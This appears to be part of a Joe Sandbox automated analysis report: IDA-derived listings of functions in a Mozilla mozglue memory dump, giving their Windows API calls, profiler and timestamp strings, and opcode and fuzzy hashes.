?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515E9D

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

GetCurrentThreadId.KERNEL32 ref: 6C515EAB
GetCurrentThreadId.KERNEL32 ref: 6C515EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C516017

Part of subcall function 6C504310: moz_xmalloc.MOZGLUE(00000010,?,6C5042D2), ref: 6C50436A
Part of subcall function 6C504310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5042D2), ref: 6C504387

moz_xmalloc.MOZGLUE(00000004), ref: 6C515F47
GetCurrentProcess.KERNEL32 ref: 6C515F53
GetCurrentThread.KERNEL32 ref: 6C515F5C
GetCurrentProcess.KERNEL32 ref: 6C515F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C515F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C515F27

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C515E8C

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C51605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C5160CC

Strings

GeckoMain, xrefs: 6C515ECE, 6C516015

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 456510f83b4bf4a85bbcf629a2242d1efa8d8c28b3858027918684ca7646342a
Instruction ID: f4892c994d446ebdd6115ede89e48d2db955cd61d399df86b9572e39598b5d50
Opcode Fuzzy Hash: 456510f83b4bf4a85bbcf629a2242d1efa8d8c28b3858027918684ca7646342a
Instruction Fuzzy Hash: 7F71A2B0609740DFD710DF24C884A6ABBF0FF9A304F54596EE48687B52D731E948CB92

Function 6C519590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5031C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C503217
Part of subcall function 6C5031C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C503236
Part of subcall function 6C5031C0: FreeLibrary.KERNEL32 ref: 6C50324B
Part of subcall function 6C5031C0: __Init_thread_footer.LIBCMT ref: 6C503260
Part of subcall function 6C5031C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C50327F
Part of subcall function 6C5031C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50328E
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5032AB
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5032D1
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5032E5
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5032F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C519675
__Init_thread_footer.LIBCMT ref: 6C519697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C519707
__Init_thread_footer.LIBCMT ref: 6C51971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5197B7
FreeLibrary.KERNEL32 ref: 6C5197D0
FreeLibrary.KERNEL32 ref: 6C5197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C519670
ntdll.dll, xrefs: 6C5196E3
MapViewOfFileNuma2, xrefs: 6C5197B1
NtMapViewOfSection, xrefs: 6C519701

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e2030e4678fcb359fa76d18676c240627f9070bd441b3c3c13bab9bab405a7cb
Instruction ID: 0a6d99f0cffac3c46418b224df9d9f1dbc0c634cba9eadd276db7c2f87c77c9b
Opcode Fuzzy Hash: e2030e4678fcb359fa76d18676c240627f9070bd441b3c3c13bab9bab405a7cb
Instruction Fuzzy Hash: 5D61C271606221DFEF00EFA4DC88A9A7BB4EF8F314F125619E916D7B80D7309854CBA5

Function 6C566660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C58F618), ref: 6C566694
GetThreadId.KERNEL32(?), ref: 6C5666B1
GetCurrentThreadId.KERNEL32 ref: 6C5666B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5666E1
EnterCriticalSection.KERNEL32(6C58F618), ref: 6C566734
GetCurrentProcess.KERNEL32 ref: 6C56673A
LeaveCriticalSection.KERNEL32(6C58F618), ref: 6C56676C
GetCurrentThread.KERNEL32 ref: 6C5667FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C566868
RtlCaptureContext.NTDLL ref: 6C56687F

Strings

WalkStack64, xrefs: 6C566890

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4b8432ca33a7dde3f67bd6fe8bfeb0a7a42cdb0227a7dcaa0f689732f039025f
Instruction ID: 08b590230b7a74c24f8985a3738719aeab2af6ec72e42876863cd967fae20215
Opcode Fuzzy Hash: 4b8432ca33a7dde3f67bd6fe8bfeb0a7a42cdb0227a7dcaa0f689732f039025f
Instruction Fuzzy Hash: 6051DC71A0A311AFDB10DF26CC44B5ABBF4BF8A714F00492DF59897A50DB70E908CB92

Function 6C54DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54DE73
GetCurrentThreadId.KERNEL32 ref: 6C54DF7D
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54DF8A
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54DFC9
GetCurrentThreadId.KERNEL32 ref: 6C54DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C514A68), ref: 6C54DE7B

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C514A68), ref: 6C54DEB8
free.MOZGLUE(00000000,?,6C514A68), ref: 6C54DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C54DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C54E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C54DE83
<none>, xrefs: 6C54DFD7

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 564bfd5540452b5c7e7deaf193d2d3bdf846957bf93244ae56ea361fad063595
Instruction ID: fc3aae081ebd12a181ae723900ccc2a24616dbb723a8fbc2ba9d46ee39cb08c7
Opcode Fuzzy Hash: 564bfd5540452b5c7e7deaf193d2d3bdf846957bf93244ae56ea361fad063595
Instruction Fuzzy Hash: 7D412631702120EBDB20AF64DC04BBA7779EB8730CF55811AE90987B01DB319C09CBEA

Function 6C55D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D918
GetCurrentThreadId.KERNEL32 ref: 6C55D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D970
GetCurrentThreadId.KERNEL32 ref: 6C55D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55DA2E
GetCurrentThreadId.KERNEL32 ref: 6C55DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C55DA91

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55DAB7

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 666c4cc1f55fa33cc5afa4b2b864baed7b1cddf712971a5a7e0dd4b8d38a9855
Instruction ID: b545ad19a02bbf578ec519d28cf7b0bc5955d7cf2502b63b2c625748f8514398
Opcode Fuzzy Hash: 666c4cc1f55fa33cc5afa4b2b864baed7b1cddf712971a5a7e0dd4b8d38a9855
Instruction Fuzzy Hash: 6A71BF75604314DFCB00DF28CC88B9ABBF5FF89314F55856AE85A9B301EB30A944CBA5

Function 6C55D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D52A
GetCurrentThreadId.KERNEL32 ref: 6C55D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D55F
free.MOZGLUE(00000000), ref: 6C55D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55D5D3
GetCurrentThreadId.KERNEL32 ref: 6C55D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D652
GetCurrentThreadId.KERNEL32 ref: 6C55D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D6A2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6ae4b9f332fdcf6b067d91cd372090cba6c02f5b2e38e0ac532e2d36f060e425
Instruction ID: 1863d3c05846b0506b50d021b8452bfaf33cd0c06c3b73141d9638ee08b656d6
Opcode Fuzzy Hash: 6ae4b9f332fdcf6b067d91cd372090cba6c02f5b2e38e0ac532e2d36f060e425
Instruction Fuzzy Hash: F0518E71605705DFC700DF24CC84A9ABBB4FF8A318F419A2EE84A87711DB30A855CB95

Function 6C501E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784), ref: 6C501EC1
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501EE1
EnterCriticalSection.KERNEL32(6C58E744), ref: 6C501F38
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C501F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C501F83
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501FC0
EnterCriticalSection.KERNEL32(6C58E784), ref: 6C501FE2
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C502019

Strings

DXl, xrefs: 6C501F32
\Xl, xrefs: 6C501F3E
MOZ_CRASH(), xrefs: 6C502000
DXl, xrefs: 6C501F56

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DXl$DXl$MOZ_CRASH()$\Xl
API String ID: 2055633661-1828386474
Opcode ID: b50423ad9173ca7121a158b968b4a477c91aaf76965bce249cb06c55fde5dcc1
Instruction ID: 25286e3a7d0e2a3b3da2370025685892a5c9986ccf6d7ed9544a501a7dccbada
Opcode Fuzzy Hash: b50423ad9173ca7121a158b968b4a477c91aaf76965bce249cb06c55fde5dcc1
Instruction Fuzzy Hash: C841B375B023799FDF009FA8CC85B6A37B5EF4A348F050125E905D7741E7B198048BEA

Function 6C525670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5256D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5256E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5256F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C525744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5257BC
GetTickCount64.KERNEL32 ref: 6C5258CB
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5258F3
__aulldiv.LIBCMT ref: 6C525945
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5259B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C58F638,?,?,?,?), ref: 6C5259E9

Strings

MOZ_APP_RESTART, xrefs: 6C5256CC

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 32e53bbe00c160274d7af7fa128037c6af14adad147f6729f07eee0090c6c90a
Instruction ID: dcedde1fdf72fdb8f6f7de46ff2f840c65a35ca30e20e00ded9b9cf14d0d466e
Opcode Fuzzy Hash: 32e53bbe00c160274d7af7fa128037c6af14adad147f6729f07eee0090c6c90a
Instruction Fuzzy Hash: 79C18B31A093509FD705CF28C84166AB7F1FFCA314F569B1DE8C4A7664E734A885CB82

Function 6C54EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54EC8C

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54ECA1
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C54ECC5
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C54ED19
CloseHandle.KERNEL32(?), ref: 6C54ED28
free.MOZGLUE(00000000), ref: 6C54ED2F
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C54EC94

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9f0e2f7d8aeeb4e61416c5a2d0aafa1187b1ff94a08919431a66e8f552009210
Instruction ID: 7eba169e8f4ce33bf60225ad963a17986c07e1a38a7c26cfe9ee265eba9b24a9
Opcode Fuzzy Hash: 9f0e2f7d8aeeb4e61416c5a2d0aafa1187b1ff94a08919431a66e8f552009210
Instruction Fuzzy Hash: 5621BF75602124EFDB00AF64DC08AAAB779FB8B36CF118215F81897751DB719C068BA5

Function 6C548ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C50EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C54B392,?,?,00000001), ref: 6C5491F4

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Strings

timeline-ipc, xrefs: 6C549096
timeline-fileio, xrefs: 6C5490A4
marker-chart, xrefs: 6C54905E
data, xrefs: 6C5490E8
stack-chart, xrefs: 6C5490B2
marker-table, xrefs: 6C54906C
name, xrefs: 6C548F16
timeline-memory, xrefs: 6C549088
timeline-overview, xrefs: 6C54907A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 5a875095a5900058870b3df68c8f0e5d535017abe458fad961432e9f98c51b29
Instruction ID: c66a3347c3962881ae2cdc099ad63041a973f6c321e99bb93e33d595bd16e5ab
Opcode Fuzzy Hash: 5a875095a5900058870b3df68c8f0e5d535017abe458fad961432e9f98c51b29
Instruction Fuzzy Hash: 98B1C1B0A05219DBDB04CF94CD56BEEBBBAAF84318F208519D405ABF80D771AD45CBE1

Function 6C52C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52C5A3
WideCharToMultiByte.KERNEL32 ref: 6C52C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C52C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C52CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C52CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52CAA5

Strings

(null), xrefs: 6C52C596
0, xrefs: 6C52D30A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c32a3ee3196ee60d01741fda070e9c41ea2170702cbb51b67624cc9a929982ad
Instruction ID: 8920ef6727e776ee0146090e51f4310debb9c0b5ee57ff1802d7743958625978
Opcode Fuzzy Hash: c32a3ee3196ee60d01741fda070e9c41ea2170702cbb51b67624cc9a929982ad
Instruction Fuzzy Hash: 7AA19E306093429FEB10DF28CD4475ABBF1AF89748F05895DE89997782D739E805CB92

